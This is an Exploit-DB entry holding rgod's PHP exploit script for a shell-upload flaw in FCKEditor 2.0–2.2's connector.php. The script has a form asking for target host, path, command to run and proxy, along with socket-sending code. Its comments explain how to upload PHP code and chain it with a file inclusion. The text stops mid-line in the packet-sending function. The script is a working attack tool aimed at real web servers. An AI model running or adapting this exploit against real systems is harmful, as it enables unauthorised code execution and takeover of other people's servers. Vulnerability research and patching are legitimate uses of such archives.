Exploit-DB #1484
Description: FCKEditor 2.0 < 2.2 - 'FileManager connector.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-02-09
Author: rgod

Exploit:
<?php
#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
#                                                                              #
#                       FCKEditor 2.0 <= 2.2 shell upload                      #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Security against defeat implies defensive tactics; ability to     #
#  defeat the enemy means taking the offensive"                                #

/* -> a short explaination: if a user cam call directly

      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php

      he can upload malicious contempt on a target server, including arbitrary
      php code, and launch commands on it

      this works when php connector is enabled in config.php and when, ex.,
      in Apache httpd.conf "AddType application/x-httpd-php" directive we have
      an extension not specified in FCKEditor Config[DeniedExtensions][File]
      array.

      However, FCKeditor is integrated in a lot of applications, and if you
      succeed to upload the shell (see details in the output of this script)
      search for a local inclusion issue inside of them and include the uploaded
      file                                                                    */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title> ******* FCKEditor 2.0 <= 2.2 shell upload**************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
 ******* FCKEditor 2.0 <= 2.2 shell upload************** </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/FCKEditor/ or just / ) </span></p><p><input type="text" name="cmd">       <span
class="Stile5"> * specify a command</span></p><p><input type="text" name="port">
<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($dAtAi)==1) {
      echo "<td>0".htmlentities($dAtAi)."</td>";
    }
    else {
      echo "<td>".htmlentities($dAtAi)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($pRoXy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket